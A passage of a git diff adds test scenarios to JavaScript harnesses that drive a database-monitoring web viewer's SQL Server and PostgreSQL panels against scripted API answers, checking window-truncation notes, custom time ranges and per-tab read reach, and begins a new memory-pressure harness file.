   const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
   modules = {
     util: await load("util.js"),
@@ -116,6 +143,9 @@ try {
     tabs: await load(path.join("pages", "server-tabs.js")),
     charts: await load("charts.js"),
     editor: editorScenario ? await load("editor.js") : null,
+    server: serverPageScenario ? await load(path.join("pages", "server.js")) : null,
+    timeRange: serverPageScenario ? await load("time-range.js") : null,
+    pageRange: serverPageScenario ? await load("page-range.js") : null,
   };
 } finally {
   fs.rmSync(scratch, { recursive: true, force: true });
@@ -144,6 +174,38 @@ const cpuPanel = {
 };
 const RANGE = { hours: 720, label: "last 30 days" };
 
+/* #4966: a grid read whose table starts covering the server after the window does answers with these three fields. */
+const FLOOR_NOTE =
+  "partial window: this panel's data starts at 2026-01-02 00:00 UTC, after the window's start at 2025-12-26 00:00 UTC. " +
+  "The panel covers 2026-01-02 00:00 to 2026-01-03 00:00 UTC.";
+const WAITING_TASKS_FLOOR = {
+  tasks: [{ wait_type: "LCK_M_X", wait_duration_ms: 250 }],
+  window_truncated: true,
+  effective_start: "2026-01-02T00:00:00.0000000",
+  truncation_note: FLOOR_NOTE,
+};
+const waitingTasksPanel = {
+  title: "Waiting Tasks",
+  read: "get_waiting_tasks",
+  params: { server: "SRV1", hours: 168 },
+  viz: "table",
+  rowsKey: "tasks",
+  columns: [{ key: "wait_type", label: "Wait type" }],
+  emptyText: "No waiting tasks in this window.",
+};
+
+/* The Queries tab's Query Store grid: it names `truncation_note` as its own note (#4231), so the loader draws it. */
+const queryStorePanel = {
+  title: "Query Store",
+  read: "get_query_store_top",
+  params: { server: "SRV1", hours: 168, top: 20 },
+  viz: "table",
+  rowsKey: "queries",
+  columns: [{ key: "query_id", label: "Query" }],
+  emptyText: "No Query Store rows in this window.",
+  noteKey: "truncation_note",
+};
+
 /* A body for the reads whose rows start a second read (the wait, counter and query pickers), so the trend reads
    behind them are fetched too. Every other read answers an empty object. */
 const PICKER_ROWS = {
@@ -152,7 +214,63 @@ const PICKER_ROWS = {
   get_top_queries_by_cpu: { queries: [{ query_hash: "0x1", database_name: "db1", query_text: "select 1" }] },
 };
 
+/* Let every read and every retry settle (each one is a few promise hops). A timer turn lasts about 15 ms on
+   Windows, so a scenario that settles once per tab turns the event loop with setImmediate instead. */
+const settle = async () => {
+  for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+};
+const settleFast = async () => {
+  for (let i = 0; i < 200; i++) await new Promise((r) => setImmediate(r));
+};
+
+/* One server tab built at RANGE with one read answering `body` and every other read answering nothing. Each panel the
+   tab drew is marked with its heading (the `where` the strips report), so a notice comes back naming its panel. */
+const tabFloor = (tabId, read, body) => {
+  answer = (url) => data(tool(url) === read ? body : {});
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === tabId);
+  const panels = [].concat(tab.build("SRV1", RANGE));
+  for (const panel of panels) panel.where = panel.children[0] ? panel.children[0].textContent : "";
+  return panels;
+};
+
+/* The PostgreSQL tabs, the same way (#4966): one read answering `body`, every other read answering nothing. */
+const pgTabFloor = (tabId, read, body) => {
+  answer = (url) => data(tool(url) === read ? body : {});
+  const tab = modules.tabs.POSTGRES_TABS.find((t) => t.id === tabId);
+  const panels = [].concat(tab.build("SRV1", RANGE));
+  for (const panel of panels) panel.where = panel.children[0] ? panel.children[0].textContent : "";
+  return panels;
+};
+
+/* Enough of each PostgreSQL window read's answer for every panel of its fanout to draw (a stat tile needs one of its keys). */
+const PG_WINDOW_BODIES = {
+  get_pg_top_queries: { evictions: { eviction_passes_in_window: 0, max_entries: 5000 }, queries: [{ queryid: "1" }] },
+  get_pg_blocking: { captures_total: 10, captures_with_blocking: 1, chains: [{ root_pid: 1 }], cycles: [{ pid: 2 }] },
+  get_pg_database_stats: { database_count: 1, databases: [{ database_name: "db1" }] },
+  get_pg_session_states: { captures_in_window: 3, sessions: [{ pid: 1 }] },
+  get_pg_io_stats: { combinations_returned: 1, combinations: [{ backend_type: "client backend" }] },
+  get_pg_replication_stats: { replicas: [{ application_name: "r1" }] },
+  get_pg_database_trend: { points: [{ collection_time: "2026-01-01T00:00:00" }] },
+  get_pg_query_duration_trend: { points: [{ collection_time: "2026-01-01T00:00:00" }] },
+  get_pg_wait_trend: { points: [{ collection_time: "2026-01-01T00:00:00" }] },
+  get_pg_io_trend: { points: [{ collection_time: "2026-01-01T00:00:00" }] },
+  get_pg_plans: { plans: [{ query_id: 1 }] },
+  get_pg_autovacuum_health: { tables_returned: 1, growing_count: 1, tables: [{ table_name: "t1" }] },
+  get_pg_replication_slots: { slot_count: 1, worst_slot: "s1", slots: [{ slot_name: "s1" }] },
+  get_pg_xmin_horizon: { winning_source: "session", winning_xmin_age: 5, holders: [{ source: "session" }] },
+  get_pg_wraparound_risk: {
+    worst_database: "db1", worst_pct_toward_wraparound: 1, thresholds: { failsafe_engages_around_pct: 74.5 }, databases: [{ database_name: "db1" }],
+  },
+  get_pg_write_stats: { checkpoints_timed: 4, checkpoints_requested: 1 },
+  get_pg_index_usage: { indexes_returned: 1, indexes: [{ index: "ix1" }] },
+};
+
 const scenarios = {
+  // #4966: every panel of a PostgreSQL window read's fanout draws the note (the value is "tab|read"), the stat tiles with the grids.
+  floorPg: () => {
+    const [tabId, read] = scenarioValue.split("|");
+    return pgTabFloor(tabId, read, { ...PG_WINDOW_BODIES[read], window_truncated: true, truncation_note: FLOOR_NOTE });
+  },
   // The page asks for 30 days; the read keeps 7 and says so; the retry at 168 hours answers.
   loaderRefused: () => {
     answer = (url) => (asked(url) === "720" ? refusal(720, 168, 7) : data(CPU));
@@ -183,6 +301,97 @@ const scenarios = {
     answer = (url) => (asked(url) === "720" ? refusal(720, 168, 7) : refusal(asked(url), 96, 4));
     return [modules.panels.renderPanel(cpuPanel)];
   },
+  // #4966: a grid whose response says its table starts covering the server after the window does shows that note.
+  floorTableTruncated: () => {
+    answer = () => data(WAITING_TASKS_FLOOR);
+    return [modules.panels.renderPanel(waitingTasksPanel)];
+  },
+  // The same grid over a window the table covered: the response carries no floor fields, and the grid draws none.
+  floorTableCovered: () => {
+    answer = () => data({ tasks: WAITING_TASKS_FLOOR.tasks });
+    return [modules.panels.renderPanel(waitingTasksPanel)];
+  },
+  // A chart over a response that carries the fields draws no strip: its time axis already spans the asked range.
+  floorChartIgnored: () => {
+    answer = () => data({ ...CPU, window_truncated: true, truncation_note: FLOOR_NOTE });
+    return [modules.panels.renderPanel(cpuPanel)];
+  },
+  // A grid that names `truncation_note` as its own note (the Queries tab's grids) draws it once, not twice.
+  floorOwnNoteOnce: () => {
+    answer = () => data(WAITING_TASKS_FLOOR);
+    return [modules.panels.renderPanel({ ...waitingTasksPanel, noteKey: "truncation_note" })];
+  },
+  // #4966: the window notes in the browser's zone. Each draws the answer the server sent (HARNESS_INPUT) through a panel
+  // that shows its `truncation_note`: a grid that has none of its own (the Waiting Tasks grid), a descriptor grid that
+  // names the note as its own (the Query Store grid on the Queries tab), and the hand-built Top Queries composite.
+  floorLocal: () => {
+    answer = () => data(INPUT);
+    return [modules.panels.renderPanel(waitingTasksPanel)];
+  },
+  queryStoreLocal: () => {
+    answer = () => data(INPUT);
+    return [modules.panels.renderPanel(queryStorePanel)];
+  },
+  topQueriesLocal: () => {
+    answer = (url) => (tool(url) === "get_top_queries_by_cpu" ? data(INPUT) : data({}));
+    return [modules.tabs.topQueriesPanel("SRV1", RANGE)];
+  },
+  // The Wait Stats composite draws the note above its grid.
+  floorWaitStats: () => {
+    answer = (url) =>
+      tool(url) === "get_wait_stats"
+        ? data({ waits: [{ wait_type: "LCK_M_X" }], window_truncated: true, truncation_note: FLOOR_NOTE })
+        : data({ trend: [{ time: "2026-01-01T00:00:00", wait_time_ms_per_second: 1 }] });
+    return [modules.tabs.waitsPanel("SRV1", RANGE)];
+  },
+  // #4966: a stat tile over a windowed read draws the note too (a stat is not a chart: its figures are the window's).
+  floorStatDraws: () => {
+    answer = () => data({ total: 5, window_truncated: true, truncation_note: FLOOR_NOTE });
+    return [modules.panels.renderPanel({ title: "Totals", read: "get_x", params: { server: "SRV1", hours: 168 }, viz: "stat", stats: [{ key: "total", label: "Total" }] })];
+  },
+  // A descriptor that opts out of the note draws none, over the same truncated answer.
+  floorOptOut: () => {
+    answer = () => data(WAITING_TASKS_FLOOR);
+    return [modules.panels.renderPanel({ ...waitingTasksPanel, windowNote: false })];
+  },
+  // A descriptor with a floorKey reads the nested fields, and a top-level pair beside them is not what it draws.
+  floorNested: () => {
+    answer = () =>
+      data({
+        tasks: WAITING_TASKS_FLOOR.tasks,
+        window: { window_truncated: true, truncation_note: "nested: the raw tier starts later" },
+        window_truncated: true,
+        truncation_note: "top level: not this one",
+      });
+    return [modules.panels.renderPanel({ ...waitingTasksPanel, floorKey: "window" })];
+  },
+  // The server tabs' own specs. Each scenario answers one read with the fields a truncated window carries and marks
+  // every panel the tab drew with its heading, so the test can say which panels drew the note.
+  floorMemoryGrants: () => tabFloor("memory", "get_memory_grants", {
+    window_truncated: true, truncation_note: FLOOR_NOTE,
+    window: [{ pool_id: 1, snapshots_in_window: 3 }], grants: [{ pool_id: 1, waiter_count: 0 }],
+  }),
+  floorResourceSemaphore: () => tabFloor("memory", "get_resource_semaphore", {
+    window_truncated: true, truncation_note: FLOOR_NOTE,
+    window: [{ pool_id: 1, resource_semaphore_id: 0, snapshots_in_window: 3 }], grants: [{ pool_id: 1, resource_semaphore_id: 0 }],
+  }),
+  floorPlanCorrections: () => tabFloor("queries", "get_plan_corrections", {
+    window_truncated: true, truncation_note: FLOOR_NOTE,
+    recommendations: [{ database_name: "db1", query_id: 1 }], automatic_tuning: [{ database_name: "db1" }],
+  }),
+  // An empty Plan Corrections answer: the note rides on the envelope. With the flag set it draws; without it, none.
+  floorPlanCorrectionsEmpty: () => tabFloor("queries", "get_plan_corrections", {
+    status: "empty", message: "No plan corrections in this window.", window_truncated: true, truncation_note: FLOOR_NOTE,
+  }),
+  floorPlanCorrectionsEmptyUntruncated: () => tabFloor("queries", "get_plan_corrections", {
+    status: "empty", message: "No plan corrections in this window.",
+  }),
+
+  floorClutter: () => tabFloor("queries", "get_query_store_clutter", {
+    databases: [{ database_name: "db1" }],
+    qs_overhead: { wait_stats: { included: [{ wait_type: "QDS_X" }] }, memory_clerk: { latest_memory_mb: 1 } },
+    window: { window_truncated: true, truncation_note: "nested: the raw tier starts later" },
+  }),
   // A hand-built composite over one read (File I/O).
   fileIoRefused: () => {
     answer = (url) => (asked(url) === "720" ? refusal(720, 168, 7) : data({ trend: [{ time: "2026-01-01T00:00:00", database_name: "db1", file_type: "ROWS", avg_read_latency_ms: 4 }] }));
@@ -221,34 +430,359 @@ const scenarios = {
     }
     return nodes;
   },
+  // Every range the server page's Range offers, through every tab of both registries, against reads that refuse
+  // more than the scenario's hours the way the capped reads do. Each read the page would ask for more than that is
+  // listed by range, registry and tab. What each tab draws is mounted too, under a node that names its range and tab,
+  // so a notice or an error the page shows at an offered range comes back saying where.
+  offeredRanges: async () => {
+    /* The catalog (HARNESS_INPUT, the real /api/catalog body) gives each read's reach; a read without a row, and a run without a
+       catalog, take the scenario's value (the common 168 hours). A tab offers the presets within the smallest reach of its
+       `reachReads` (#5562 review r1 M4), and each read refuses what its own catalog row does not take. */
+    const maxHours = Number(scenarioValue);
+    const catalog = INPUT || { reads: [] };
+    const readReach = (name) => {
+      const entry = (catalog.reads || []).find((r) => r.name === name);
+      return entry ? modules.pageRange.readsReachHours(catalog, [name]) : maxHours;
+    };
+    answer = (url) => {
+      const hours = Number(asked(url));
+      const max = readReach(tool(url));
+      return hours > max ? refusal(hours, max, Math.round(max / 24)) : data(PICKER_ROWS[tool(url)] || {});
+    };
+    const tabReach = (tab) => (catalog.reads && tab.reachReads ? modules.pageRange.readsReachHours(catalog, tab.reachReads) : maxHours);
+    const allTabs = [["SQL Server", modules.tabs.SERVER_TABS], ["PostgreSQL", modules.tabs.POSTGRES_TABS]].flatMap(([engine, registry]) => registry.map((tab) => [engine, tab]));
+    /* `offered` is the presets EVERY tab offers; `reaches` is each tab's own longest, and `undeclared` the windowed reads a tab made
+       that its `reachReads` does not name (a list that missed one would lift the tab's reach past a read that refuses it). */
+    const common = Math.min(...allTabs.map(([, tab]) => tabReach(tab)));
+    offered = modules.server.RANGE_OPTIONS.filter((option) => option.hours <= common).map((option) => option.hours);
+    found = { reaches: {}, undeclared: [], offeredBy: {} };
+    beyond = [];
+    observed = [];
+    notes = [];
+    const drawn = [];
+    for (const option of modules.server.RANGE_OPTIONS) {
+      for (const [engine, registry] of [["SQL Server", modules.tabs.SERVER_TABS], ["PostgreSQL", modules.tabs.POSTGRES_TABS]]) {
+        for (const tab of registry) {
+          if (option.hours > tabReach(tab)) continue;
+          (found.offeredBy[engine + " " + tab.id] ||= []).push(option.hours);
+          const before = fetches.length;
+          const holder = new FakeNode("div");
+          holder.where = option.label + ": " + engine + " " + tab.id + " tab";
+          modules.util.mount(holder, tab.build("SRV1", { hours: option.hours, label: option.label }));
+          drawn.push(holder);
+          await settleFast();
+          for (const fetched of fetches.slice(before)) {
+            const url = new URL(fetched, "http://viewer.test");
+            if (asked(url) !== null) {
+              observed.push(option.hours + " " + engine + " " + tool(url));
+              if (!(tab.reachReads || []).includes(tool(url)) && !found.undeclared.includes(engine + " " + tab.id + " " + tool(url))) {
+                found.undeclared.push(engine + " " + tab.id + " " + tool(url));
+              }
+            }
+            if (Number(asked(url)) > readReach(tool(url))) {
+              beyond.push(option.label + ": " + engine + " " + tab.id + " tab, " + tool(url) + " asked for " + asked(url) + " hours");
+            }
+          }
+        }
+      }
+    }
+    for (const [engine, registry] of [["SQL Server", modules.tabs.SERVER_TABS], ["PostgreSQL", modules.tabs.POSTGRES_TABS]]) {
+      for (const tab of registry) {
+        found.reaches[engine + " " + tab.id] = tabReach(tab);
+        const note = modules.tabs.tabNote(tab, tabReach(tab));
+        if (note) {
+          notes.push(engine + " " + tab.id + ": " + note.textContent);
+        }
+      }
+    }
+    return drawn;
+  },
+};
+
+/* ── custom range (server page) ── */
+const T0 = "2026-01-02T07:15:00.000Z";
+const T1 = "2026-01-02T10:30:00.000Z";
+const NOW = Date.parse("2026-06-01T00:00:00.000Z");
+const customServerPage = async (server, opts) => {
+  const holder = new FakeNode("div");
+  modules.server.renderServer(holder, server, "cpu", opts);
+  await settleFast();
+  return holder;
+};
+const cpuRows = ["2026-01-02T06:00:00", "2026-01-02T07:30:00", "2026-01-02T09:00:00", "2026-01-02T10:00:00", "2026-01-02T11:00:00"].map((t) => ({ sample_time: t, cpu: 5 }));
+Object.assign(scenarios, {
+  // The mapping from a picked pair to as_of + whole hours, and every refusal.
+  customMapping: () => {
+    const r = (a, b) => modules.server.resolveCustomRange(Date.parse(a), Date.parse(b), NOW);
+    found = {
+      rounded: r(T0, T1),
+      exact: r("2026-01-02T06:30:00.000Z", T1),
+      subHour: r("2026-01-02T10:00:00.000Z", T1),
+      tooShort: r("2026-01-02T10:27:00.000Z", T1),
+      reversed: r(T1, T0),
+      future: r("2026-05-31T00:00:00.000Z", "2026-06-02T00:00:00.000Z"),
+      tooWide: r("2025-12-01T00:00:00.000Z", "2026-01-02T00:00:00.000Z"),
+      live: modules.server.resolveCustomRange(NOW - 5 * 3600000, NOW - 1000, NOW),
+    };
+    return [];
+  },
+  // #5562: a range under an hour is fetched as the whole hour that holds it and trimmed to the exact pair, and the picker's choices
+  // reach the page as whole-hour presets (no trimming) or as custom ranges (trimmed).
+  pickerSubHour: async () => {
+    answer = (url) => (url.pathname === "/api/fleet" ? data({ cards: [] }) : data({ samples: cpuRows }));
+    await customServerPage("SRV1");
+    const before = fetches.length;
+    const err = modules.server.holdSpec("SRV1", modules.timeRange.fixedSpec(Date.parse("2026-01-02T10:00:00.000Z"), Date.parse(T1)), NOW);
+    const ctx = modules.server.rangeContext(NOW);
+    const cpu = await modules.util.readTool("get_cpu_utilization", { server: "SRV1", hours: ctx.hours });
+    found = { err, hours: ctx.hours, label: ctx.label, custom: ctx.custom === true, reads: fetches.slice(before), rows: cpu.data.samples.length };
+    return [];
+  },
+  // Every preset and calendar period the picker offers, held for a server in the browser's zone (the scenario name carries it).
+  pickerPresetsLocal: async () => {
+    answer = (url) => (url.pathname === "/api/fleet" ? data({ cards: [] }) : data({ samples: cpuRows }));
+    await customServerPage("SRV1");
+    const tr = modules.timeRange;
+    const out = {};
+    for (const spec of [...tr.ROLLING_PRESETS, ...tr.CALENDAR_PRESETS]) {
+      const err = modules.server.holdSpec("SRV1", spec, NOW);
+      const ctx = modules.server.rangeContext(NOW);
+      out[tr.specId(spec)] = { err, hours: ctx.hours, label: ctx.label, custom: ctx.custom === true };
+    }
+    found = out;
+    return [];
+  },
+  // A past-end custom range through the page: its reads carry as_of=end and the rounded hours.
+  customPageReads: async () => {
+    answer = (url) => (url.pathname === "/api/fleet" ? data({ cards: [] }) : data({ samples: cpuRows }));
+    const holder = await customServerPage("SRV1");
+    const before = fetches.length;
+    const err = modules.server.applyCustomRange("SRV1", Date.parse(T0), Date.parse(T1), NOW);
+    await settleFast();
+    found = { err, reads: fetches.slice(before) };
+    return [holder];
+  },
+  // A rebuild (the poll) of a past-end range reads nothing; a live range and a preset read again; another server resets.
+  customPoll: async () => {
+    answer = (url) => (url.pathname === "/api/fleet" ? data({ cards: [] }) : data({ samples: cpuRows }));
+    await customServerPage("SRV1");
+    modules.server.applyCustomRange("SRV1", Date.parse(T0), Date.parse(T1), NOW);
+    await settleFast();
+    const reads = (from) => fetches.slice(from).filter((f) => f.startsWith("/api/read/"));
+    let mark = fetches.length;
+    await customServerPage("SRV1", { poll: true });
+    const pastPoll = reads(mark);
+    mark = fetches.length;
+    await customServerPage("SRV1");
+    const tabClick = reads(mark);
+    mark = fetches.length;
+    await customServerPage("SRV2", { poll: true });
+    const other = reads(mark);
+    modules.server.applyCustomRange("SRV3", Date.now() - 6 * 3600000, Date.now(), Date.now());
+    await settleFast();
+    mark = fetches.length;
+    await customServerPage("SRV3", { poll: true });
+    const livePoll = reads(mark);
+    found = { pastPoll, tabClick, other, livePoll };
+    return [];
+  },
+  // The custom range trims a chart's rows to the exact pair, and a read with no as_of keeps the preset and says so.
+  customTrimAndNotice: async () => {
+    answer = (url) => data(tool(url) === "get_cpu_utilization" ? { samples: cpuRows } : { rows: [] });
+    modules.util.setActiveRange({ server: "SRV1", hours: 4, startMs: Date.parse(T0), endMs: Date.parse(T1), asOf: T1 });
+    const chart = modules.panels.renderPanel({ ...cpuPanel, params: { server: "SRV1", hours: 4 } });
+    const latency = modules.panels.renderPanel({
+      title: "Read latency", read: "get_read_latency", params: { server: "SRV1", hours: 4 }, viz: "table", rowsKey: "rows",
+      columns: [{ key: "route", label: "Route" }], emptyText: "none",
+    });
+    const other = modules.panels.renderPanel({ ...cpuPanel, params: { server: "SRV2", hours: 4 } });
+    return [chart, latency, other];
+  },
+  // A read wider than the store keeps is asked again for the hours it keeps: the retry keeps the range's end, draws only
+  // the part of the range the store holds, and the notice says so.
+  customKeptHistory: async () => {
+    answer = (url) => (Number(asked(url)) > 4 ? refusal(asked(url), 4, 0) : data({ samples: cpuRows }));
+    modules.util.setActiveRange({ server: "SRV1", hours: 24, startMs: Date.parse("2026-01-01T11:15:00.000Z"), endMs: Date.parse(T1), asOf: T1 });
+    return [modules.panels.renderPanel({ ...cpuPanel, params: { server: "SRV1", hours: 24 } })];
+  },
+  // Aggregate rows stamped with their last sample survive the trim; per-point series rows do not.
+  customAggregateRows: async () => {
+    const latch = [{ latch_class: "A", captured_at: "2026-01-02T06:45:00" }, { latch_class: "B", captured_at: "2026-01-02T09:00:00" }];
+    answer = (url) => data(tool(url) === "get_latch_stats" ? { latches: latch } : { samples: cpuRows });
+    modules.util.setActiveRange({ server: "SRV1", hours: 4, startMs: Date.parse(T0), endMs: Date.parse(T1), asOf: T1 });
+    const lat = await modules.util.readTool("get_latch_stats", { server: "SRV1", hours: 4 });
+    const cpu = await modules.util.readTool("get_cpu_utilization", { server: "SRV1", hours: 4 });
+    found = { latchRows: lat.data.latches.length, seriesRows: cpu.data.samples.length };
+    return [];
+  },
+  // The label says where totals begin when the span is not whole hours.
+  customRoundedLabel: async () => {
+    answer = (url) => (url.pathname === "/api/fleet" ? data({ cards: [] }) : data({ samples: cpuRows }));
+    await customServerPage("SRV1");
+    const ctx = (a, b) => {
+      modules.server.applyCustomRange("SRV1", Date.parse(a), Date.parse(b), NOW);
+      return modules.server.rangeContext(NOW).label;
+    };
+    found = { rounded: ctx(T0, T1), whole: ctx("2026-01-02T06:30:00.000Z", T1) };
+    return [];
+  },
+});
+
+/* ── per-tab reach on the server page (#5562 review r1 M4) ──
+   The answer to /api/catalog is HARNESS_INPUT, the real catalog body, so a tab's reach is the one the service serves. */
+const tabReachAnswers = () => {
+  const catalog = INPUT || { reads: [] };
+  answer = (url) => {
+    if (url.pathname === "/api/fleet") return data({ cards: [] });
+    if (url.pathname === "/api/catalog") return data(catalog);
+    if (url.pathname.startsWith("/api/read/")) {
+      const max = modules.pageRange.readsReachHours(catalog, [tool(url)]);
+      const hours = Number(asked(url));
+      return hours > max ? refusal(hours, max, Math.round(max / 24)) : data({});
+    }
+    return data({});
+  };
+};
+const tabPage = async (server, tabId) => {
+  const holder = new FakeNode("div");
+  modules.server.renderServer(holder, server, tabId);
+  await settleFast();
+  return holder;
 };
+const HOURS = 3600000;
+Object.assign(scenarios, {
+  // A 30 day or 20 day range held on the tab that reads 30 days, then carried to a tab that reads 7: that tab reads its own reach, says so
+  // in a notice and in its label, refuses the range in its own picker, and keeps the range held for the tab that takes it.
+  tabReachCarried: async () => {
+    tabReachAnswers();
+    const tr = modules.timeRange;
+    await tabPage("SRV1", "io");
+    const out = { ioFirst: modules.server.rangeContext(NOW).hours };
+    out.holdTwentyDays = modules.server.holdSpec("SRV1", tr.relativeSpec(480 * HOURS), NOW);
+    out.ioTwentyDays = { hours: modules.server.rangeContext(NOW).hours, note: modules.server.reachNoteText(NOW) };
+    await tabPage("SRV1", "waits");
+    const twenty = modules.server.rangeContext(NOW);
+    out.waitsTwentyDays = { hours: twenty.hours, label: twenty.label, custom: twenty.custom === true, note: modules.server.reachNoteText(NOW) };
+    out.holdThirtyOnWaits = modules.server.holdSpec("SRV1", tr.relativeSpec(720 * HOURS), NOW);
+    out.holdThirtyOnWaitsRange = modules.server.resolveCustomRange(NOW - 720 * HOURS, NOW, NOW);
+    await tabPage("SRV1", "io");
+    out.holdThirtyOnIo = modules.server.holdSpec("SRV1", tr.relativeSpec(720 * HOURS), NOW);
+    out.ioThirty = { hours: modules.server.rangeContext(NOW).hours, note: modules.server.reachNoteText(NOW) };
+    const before = fetches.length;
+    const holder = await tabPage("SRV1", "waits");
+    const thirty = modules.server.rangeContext(NOW);
+    out.waitsThirty = { hours: thirty.hours, label: thirty.label, custom: thirty.custom === true, note: modules.server.reachNoteText(NOW) };
+    out.waitsReads = fetches.slice(before).filter((f) => f.startsWith("/api/read/"));
+    found = out;
+    return [holder];
+  },
+  // A wide range held on one server, then a server whose catalog is not read yet: the panels wait for the catalog and read once, at the tab's
+  // reach, instead of reading 7 days and then the rest.
+  tabReachWaits: async () => {
+    tabReachAnswers();
+    await tabPage("SRV1", "io");
+    modules.server.holdSpec("SRV1", modules.timeRange.relativeSpec(720 * HOURS), NOW);
+    const before = fetches.length;
+    const holder = await tabPage("SRV2", "io");
+    const after = fetches.slice(before);
+    found = { fetches: after, firstRead: after.findIndex((f) => f.startsWith("/api/read/")), catalog: after.findIndex((f) => f.startsWith("/api/catalog")) };
+    return [holder];
+  },
+  // Review r2 M1: a fixed range that starts in the future is refused by the server page's hold, and the range it had stays.
+  tabReachHoldFutureStart: async () => {
+    tabReachAnswers();
+    const holder = await tabPage("SRV1", "io");
+    const before = modules.server.rangeContext(NOW);
+    const refused = modules.server.holdSpec("SRV1", modules.timeRange.fixedSpec(NOW + HOURS, NOW + 3 * HOURS), NOW);
+    const after = modules.server.rangeContext(NOW);
+    found = { refused, beforeHours: before.hours, afterHours: after.hours, custom: after.custom === true };
+    return [holder];
+  },
+  // Review r2 L2: while the catalog is pending, another redraw of the same server (a range change or the 60 second refresh both call
+  // redrawPanels) must not add a second wait, or two redraws run when the catalog arrives and the panels' reads go out twice. The catalog
+  // answer is held back until the second render has happened. The batches are counted at the tab's build(): the page joins identical reads
+  // that are in flight together, so two batches can still show as one set of URLs, but each batch is a full rebuild of the panels.
+  tabReachWaitsRedrawn: async () => {
+    tabReachAnswers();
+    await tabPage("SRV1", "io");
+    modules.server.holdSpec("SRV1", modules.timeRange.relativeSpec(720 * HOURS), NOW);
+    const ioTab = modules.tabs.SERVER_TABS.find((t) => t.id === "io");
+    const realBuild = ioTab.build;
+    let builds = 0;
+    ioTab.build = (...args) => { builds++; return realBuild.apply(ioTab, args); };
+    const realFetch = globalThis.fetch;
+    let release;
+    const gate = new Promise((r) => { release = r; });
+    globalThis.fetch = async (url, init) => {
+      if (String(url).startsWith("/api/catalog")) await gate;
+      return realFetch(url, init);
+    };
+    const before = fetches.length;
+    const holder = await tabPage("SRV2", "io");
+    const again = await tabPage("SRV2", "io");
+    const readsBeforeRelease = fetches.slice(before).filter((f) => f.startsWith("/api/read/")).length;
+    release();
+    await settleFast();
+    globalThis.fetch = realFetch;
+    ioTab.build = realBuild;
+    const reads = fetches.slice(before).filter((f) => f.startsWith("/api/read/"));
+    found = { readsBeforeRelease, builds, reads, distinct: new Set(reads).size };
+    return [holder, again];
+  },
+});
 
 const chosen = scenarios[scenario];
 if (!chosen) throw new Error("unknown scenario " + scenario);
 
 const root = new FakeNode("main");
 modules.util.mount(root, await chosen());
-// Let every read and every retry settle (each one is a few promise hops).
-for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+await settle();
 
+/* The text of every strip of one kind under the root. A node the scenario marked with `where` (the offeredRanges
+   scenario names the range and tab each one drew) puts that in front of the text of the strips beneath it. */
 const strips = (kind) => {
   const found = [];
-  const walk = (n) => {
+  const walk = (n, where) => {
     if (!n || typeof n !== "object") return;
-    if (n.className === "strip " + kind) found.push(n.textContent);
-    n.children.forEach(walk);
+    const here = n.where || where;
+    if (n.className === "strip " + kind) found.push(here ? here + ": " + n.textContent : n.textContent);
+    n.children.forEach((child) => walk(child, here));
   };
-  walk(root);
+  walk(root, null);
   return found;
 };
 
+/* What the page's own localTime makes of each instant the answer carries (#4966), keyed by the instant as sent and by
+   its UTC minute ("2026-01-02 00:00", the form the server's sentence uses), and the zone's offset at the first one, so a
+   test can tell the browser's clock from UTC. Empty without an input. */
+const local = {};
+let tzOffset = null;
+for (const key of ["data_start_utc", "window_start_utc", "window_end_utc", "oldest_shown_utc", "effective_start"]) {
+  const value = INPUT && INPUT[key];
+  if (typeof value !== "string") continue;
+  local[value] = modules.util.localTime(value);
+  local[value.slice(0, 16).replace("T", " ")] = local[value];
+  const instant = modules.util.parseUtc(value);
+  if (tzOffset === null && instant) tzOffset = instant.getTimezoneOffset();
+}
+
 console.log(JSON.stringify({
+  local,
+  tzOffset,
   fetches,
   notices: strips("notice"),
   errors: strips("error"),
+  /* The page's read-error count (the footer's Updated time stamps only while it holds still): a red strip counts, a notice does not. */
+  readErrors: modules.util.readErrorCount(),
   empties: strips("empty"),
   loading: strips("loading").length,
   chartHours: modules.charts.chartCalls.map((c) => (c.windowStart == null ? null : Math.round((c.windowEnd - c.windowStart) / 3600000))),
   vizcfg,
+  offered,
+  beyond,
+  observed,
+  notes,
+  found,
+  chartPoints: modules.charts.chartCalls.map((c) => c.points),
   rejections,
 }));
diff --git a/Darling/Darling.Tests/web-memory-pressure-harness.mjs b/Darling/Darling.Tests/web-memory-pressure-harness.mjs
new file mode 100644
index 0000000000..55266770ca
--- /dev/null
+++ b/Darling/Darling.Tests/web-memory-pressure-harness.mjs
@@ -0,0 +1,173 @@
+/* Runs the web viewer's Memory Pressure Events panels (memoryPressurePanels in wwwroot/js/pages/server-tabs.js, with util.js,
+   panels.js and charts.js) against a scripted /api/read answer and prints what they drew, as one line of JSON.
+   WebMemoryPressureChartBehaviourTests starts it as
+       node web-memory-pressure-harness.mjs <path to wwwroot/js> <scenario>
+   charts.js is the shipped renderer behind a wrapper that records each chart's spec. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
